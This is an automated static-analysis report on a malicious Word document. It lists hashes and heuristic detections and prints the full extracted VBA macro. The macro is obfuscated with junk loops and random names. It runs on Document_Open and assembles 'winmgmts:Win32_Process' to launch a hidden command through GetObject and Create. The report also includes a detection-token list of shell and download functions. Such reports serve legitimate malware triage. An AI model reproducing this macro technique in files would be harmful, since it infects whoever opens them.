Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a214bd8b2b6fec4d…

MALICIOUS

Office (OLE)

183.7 KB Created: 2019-12-20 12:41:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: bc8142fd9285090fbb624579ede7fe67 SHA-1: 24dc332fa514d1099ec4721e56091a82317c5760 SHA-256: a214bd8b2b6fec4dc1c81e025d893701de68741aaaaece9bddf6456653a5d431
112 Risk Score

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Ljrizualfr = GetObject(Toxjvmmkiar)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7499 bytes
SHA-256: eae12ec0adca4893d56cd720a52715dc074a24e946bcb5d4d9a1f20894a9ea29
Detection
ClamAV: No threats found
Obfuscation or payload: likely
163 of 305 identifiers look randomly generated (e.g. 'Vbecovohdykcq') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jepjwaaqaamz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Xmyaygmvtv, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Ryohzngv = 234 + 423
   Do While Xhxckjxv = 1
      Hhdroptyujsb = 3 * Ivumncdtw
      Xhjrzfpq = ("Iste magni distinctio numquam illum quisquam quam minima.")
      For Kvwtjuibkjvf = Ppkhoqnlbrqi To Udclomxzx
         Hvslrfsr = ("Vero et aut unde.")
         Kvhcwhzt = 223
      Next
      Bkbghhkq = Qrqehuvzklyqv
Loop
Kvbfglrzr
   Jmgfwvnge = 234 + 423
   Do While Cmkdeuqcxtl = 1
      Yxoerrunufh = 3 * Jibgxlvoqsr
      Hogfnxdqhzhj = ("Qui et eveniet.")
      For Eahhciplhar = Nbhewxvjfgorj To Biuwixrniloxg
         Goryqoavk = ("Repellat nihil rerum ab.")
         Eyusptrpjygu = 223
      Next
      Vnysizpn = Azlblbnk
Loop
End Sub

Attribute VB_Name = "Gsoknbun"
Attribute VB_Base = "0{5FD7884A-141B-468D-BABB-0639DF734BE8}{B290731F-00E1-4FA7-85CC-84F998A45FA4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Etceolpj"
Function Vlptvrwkyy()
   Tfpksmuriti = 234 + 423
   Do While Jmekulsyblx = 1
      Upcpehgsggohg = 3 * Witvxpbtih
      Mqrtrrvre = ("Ab error.")
      For Pbtvdgqcnahc = Bvitwthtztco To Plsggpeudtxmr
         Gfoybqvnyhvlv = ("In ut omnis error.")
         Tpuuncibvcogs = 223
      Next
      Jbdvsoopkfuxu = Eiteaisxru
Loop
Bgvsklceikepw = Jepjwaaqaamz.Xmyaygmvtv
   Uudhvnkk = 234 + 423
   Do While Wrxapcubzix = 1
      Eyowknzpti = 3 * Plztjpdrwiuwb
      Hrdqeajzjgqa = ("Ipsa.")
      For Xciafzqviq = Bnvervttsyqr To Gmqmsohizflw
         Emjnxlzveepv = ("Dolorem excepturi.")
         Qzmrikse = 223
      Next
      Xeltoptvzcof = Tgvkilxw
Loop
Twuajgnimx = Bgvsklceikepw + Gsoknbun.Tpctrwvl + Gsoknbun.Lewhkjaenyppe + Gsoknbun.Wadciacihu
   Ecusarquyncxp = 234 + 423
   Do While Kkxcplkcnt = 1
      Rvhlzqym = 3 * Xohbktekmtoo
      Zufmuahyinzyr = ("Nisi eum tempora.")
      For Hrairmiv = Qychxpcu To Fllrbmzftb
         Chfbngjk = ("Deleniti doloribus dicta vel nesciunt voluptas.")
         Qldcerlxweiqx = 223
      Next
      Igencbmpp = Bvcwkyufuaoz
Loop
Rwhsvasqayjvl = Twuajgnimx + Gsoknbun.Tfvsiusnj + Gsoknbun.Ffftzxhkpw.Tag
   Enipklatnxpcd = 234 + 423
   Do While Nttkimexlzou = 1
      Xbsqezaaah = 3 * Rekaeprtecd
      Kaqxpwqjk = ("Meredith")
      For Wlzeumtmosvzn = Ycyduxfjtzkc To Fghnodsqny
         Rzopacmuxn = ("Gina")
         Vyrcffkjh = 223
      Next
      Molygchpz = Gfueyhqqmr
Loop
Vlptvrwkyy = Hhjaocxappmpa + Rwhsvasqayjvl + Hhjaocxappmpa
   Zbxoxwajrrwj = 234 + 423
   Do While Kuemgzoapn = 1
      Pgxvddgnhwc = 3 * Flesidafhl
      Gjcdzlkgigtlw = ("Natus iusto eum.")
      For Dufoskabnjhg = Jivgvwudk To Rnezsswukw
         Wzoghptr = ("Rerum.")
         Yyxxfary = 223
      Next
      Weaxvcuqlm = Ygzggpnnqq
Loop
End Function
Function Kvbfglrzr()
   Xdqrrexdtgv = 234 + 423
   Do While Ikqcpoklgoao = 1
      Jdynuecdb = 3 * Wwcypbefz
      Nsjbxcrpqc = ("Voluptatem blanditiis a totam enim voluptatem placeat impedit eveniet.")
      For Ozusbioejxwts = Qmwirizpge To Amlcduzoy
         Dxkubqvpjp = ("Quod consequatur.")
         Ctukooko = 223
      Next
      Bosxutztto = Tkgoyzko
Loop
iwiwiiwiwjjsj = "__&888*&^bBGks^@"
   Ibaqraws = 234 + 423
   Do While Huaioubecliwm = 1
      Lfatsftsxj = 3 * Psidnzluiv
      Wskhesmocefvv = ("Provident repudiandae libero ut.")
      For Rncdzumlmtiu = Ddqtcwau To Fwfgkmmhogu
         Smdkgxovx = ("Recusandae.")
         Yapcsdtwboy = 223
      Next
      Fbahbgpgwxx = Ltxxshgrhkxkp
Loop
Rnyaxlwhc = Split("__&888*&^bBGks^@wi__&888*&^bBGks^@nmg__&888*&^b" + "BGks^@mts__&888*&^bBGks^@:Wi__&888*&^bB" + "Gks^@n3__&888*&^bBGks^@2___&888*&^bBGks^@" + Jepjwaaqaamz.Xmyaygmvtv + "__&888*&^bBGks^@ro__&888*&^bBGks^@ce__&888*&^bBGks^@ss__&888*&^bBGks^@", iwiwiiwiwjjsj)
   Nsjwhqdokoj = 234 + 423
   Do While Sxyegpwhlt = 1
      Rkfbyoyewdpf = 3 * Rrjoxonn
      Nvgicjczydp = ("Autem porro ut dignissimos non.")
      For Nmakvnoisfdxf = Wwfetqncipcna To Vnltwbwds
         Gvpckxlf = ("Quia aspernatur quas est neque velit beatae quia rerum illo.")
         Ylmgzksu = 223
      Next
      Orlkqmlbvzsme = Snffecvnew
Loop
Toxjvmmkiar = Join(Rnyaxlwhc, "")
   Tjvdhundtkh = 234 + 423
   Do While Cqaagjgqvv = 1
      Fatlriorfyk = 3 * Oroneafpvgjyd
      Ryxnppbttsbc = ("Quod.")
      For Eegkarssdrvzy = Kmouwzhbwbkn To Vdxnrqccodwz
         Grqqryifmiwy = ("Itaque tempore iste eligendi unde.")
         Kjpeuxhn = 223
      Next
      Htsiylxwam = Ltvylqqpq
Loop
Set Ljrizualfr = GetObject(Toxjvmmkiar)
   Aiheerqad = 234 + 423
   Do While Vikdgayoy = 1
      Unyjxwms = 3 * Yeonogedh
      Dvkzoiytr = ("Voluptas voluptatum.")
      For Aznugvuunl = Wevpsuuk To Vrrnjinoyzi
         Pzuzjjnz = ("Dolores voluptatem voluptatum impedit sit.")
         Soustfzxl = 223
      Next
      Dwctllgzmv = Bgpyulbdqb
Loop
Uhcajemxssgub = Toxjvmmkiar + Gsoknbun.Awcpcebrpasjv.ControlTipText + Gsoknbun.Fhldkzhuvr.ControlTipText
   Aryfvdirdya = 234 + 423
   Do While Nudkwjlwsalb = 1
      Acymlpabc = 3 * Cvbxkobmb
      Qrmafuiqmduxh = ("Reiciendis.")
      For Loaumsldu = Yhmkoziamg To Kgslfdhyui
         Mmgjhenr = ("Frances")
         Vbecovohdykcq = 223
      Next
      Ggamppqcjxcs = Htjyokqhdomj
Loop
Bpttvywikecmq = Uhcajemxssgub + Jepjwaaqaamz.Xmyaygmvtv
   Uxmmdiql = 234 + 423
   Do While Uzhmkxqm = 1
      Kdmniixhodvct = 3 * Szprsogbqjfit
      Fbuyrrkydv = ("Dianne")
      For Xyhrfensxa = Kebvedzdqf To Ivliibmwhfjc
         Zegzkfginnpo = ("Sit.")
         Whsranjj = 223
      Next
      Kwnyefvzm = Uxqutnzh
Loop
Set Kvbfglrzr = GetObject(Bpttvywikecmq)
   Tocohyqm = 234 + 423
   Do While Ijbuhaqfcgn = 1
      Lqlgwggbjcrci = 3 * Iaicihgf
      Vibhxkqwrry = ("Et.")
      For Ugtpyhkszonx = Koqelupbxetmr To Rufmiowpr
         Fyvuokvmfibmm = ("Officiis consequatur.")
         Sipwmpkn = 223
      Next
      Hktjoyyxnprf = Iqfuwqislgv
Loop
Kvbfglrzr.XSize = False
   Rvzqfuzwf = 234 + 423
   Do While Kwmqgynoboi = 1
      Qmeibqrtq = 3 * Wczjvlcgneuzq
      Itxcpivrztpru = ("Jared")
      For Uufouezetql = Dwmnichywn To Akapfuhryja
         Fujoemdf = ("Veritatis ipsam animi nam.")
         Chcisgqxgey = 223
      Next
      Zonwdkotwslc = Jrbxkrwxiclpl
Loop
Kvbfglrzr.YSize = False
   Xesjyhukmygj = 234 + 423
   Do While Bosticgpv = 1
      Thqogepbkd = 3 * Apakyhhxcailo
      Gbmhjkxezew = ("Rerum ut.")
      For Rikcasrdhshh = Jtzezkpizy To Lclbfcbngupf
         Dkyiezvzokzz = ("Tenetur qui.")
         Eiimghhosgmf = 223
      Next
      Epeutdhf = Tvwloacgffi
Loop
Do While Ljrizualfr.Create(KSNNSN & Vlptvrwkyy, Nyjddszj, Kvbfglrzr, Egrlcpziiugfx)
Loop
   Jzhemiifk = 234 + 423
   Do While Yycndduja = 1
      Nmmlvxuwlfjkf = 3 * Lnktkjpcq
      Yctezihnlusb = ("Nisi beatae.")
      For Loecoownws = Gomxjvhbzrchg To Somtlwjz
         Abowkgbxac = ("Iste saepe est.")
         Olxtmltl = 223
      Next
      Nmeykzvcxpqli = Eolbkgyjqaaw
Loop
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.